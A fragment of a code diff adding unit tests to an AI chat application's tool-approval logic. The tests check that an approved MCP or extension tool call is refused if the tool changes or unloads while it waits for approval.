+ expect(mcpCall).not.toHaveBeenCalled()
+ })
+
+ // The approval and the execution act on the origin the call arrived
+ // with: a grant for the MCP tool must not run a contributed tool that
+ // took the name while the prompt was open, and the reverse.
+ it('refuses an MCP-approved call whose name an extension took before it ran', async () => {
+ h.appStateState.extensionTools = []
+ h.appStateState.mcpToolNames = new Set([wireName])
+ h.appStateState.tools = [{ name: wireName, server: 'mcp-server' }]
+ const mcpCall = vi.fn().mockResolvedValue({ error: '', content: [] })
+ hub.mcp = () =>
+ ({ callToolWithCancellation: cancellable(mcpCall) }) as never
+ renderComponent()
+ await act(async () => {
+ await (h as any).capturedOnToolCall(extToolCall('te5'))
+ })
+ expect(h.toolApprovalState.requestApproval).toHaveBeenCalledWith(
+ 'te5',
+ wireName,
+ 'thread-1',
+ 'mcp-server',
+ { origin: 'mcp' }
+ )
+ h.appStateState.extensionTools = [
+ {
+ wireName,
+ extensionId: 'acme.one',
+ name: 'echo',
+ server: 'ext:acme.one',
+ },
+ ]
+ await act(async () => {
+ await finishWithToolCalls()
+ })
+ expect(extensionHost.callTool).not.toHaveBeenCalled()
+ expect(mcpCall).not.toHaveBeenCalled()
+ expect(h.mockAddToolOutput).toHaveBeenCalledWith(
+ expect.objectContaining({
+ state: 'output-error',
+ toolCallId: 'te5',
+ errorText:
+ 'Tool call refused: the tool changed while it was waiting for approval.',
+ })
+ )
+ })
+
+ it('refuses an extension-approved call whose extension unloaded before it ran', async () => {
+ h.appStateState.mcpToolNames = new Set([wireName])
+ h.appStateState.tools = [{ name: wireName, server: 'mcp-server' }]
+ const mcpCall = vi.fn().mockResolvedValue({ error: '', content: [] })
+ hub.mcp = () =>
+ ({ callToolWithCancellation: cancellable(mcpCall) }) as never
+ renderComponent()
+ await act(async () => {
+ await (h as any).capturedOnToolCall(extToolCall('te6'))
+ })
+ h.appStateState.extensionTools = []
+ await act(async () => {
+ await finishWithToolCalls()
+ })
+ expect(extensionHost.callTool).not.toHaveBeenCalled()
+ expect(mcpCall).not.toHaveBeenCalled()
+ expect(h.mockAddToolOutput).toHaveBeenCalledWith(
+ expect.objectContaining({
+ state: 'output-error',
+ toolCallId: 'te6',
+ errorText:
+ 'Tool call refused: the tool changed while it was waiting for approval.',
+ })
+ )
+ })
+
it('does not run a denied extension tool', async () => {
h.toolApprovalState.requestApproval = vi.fn().mockResolvedValue(false)
renderComponent()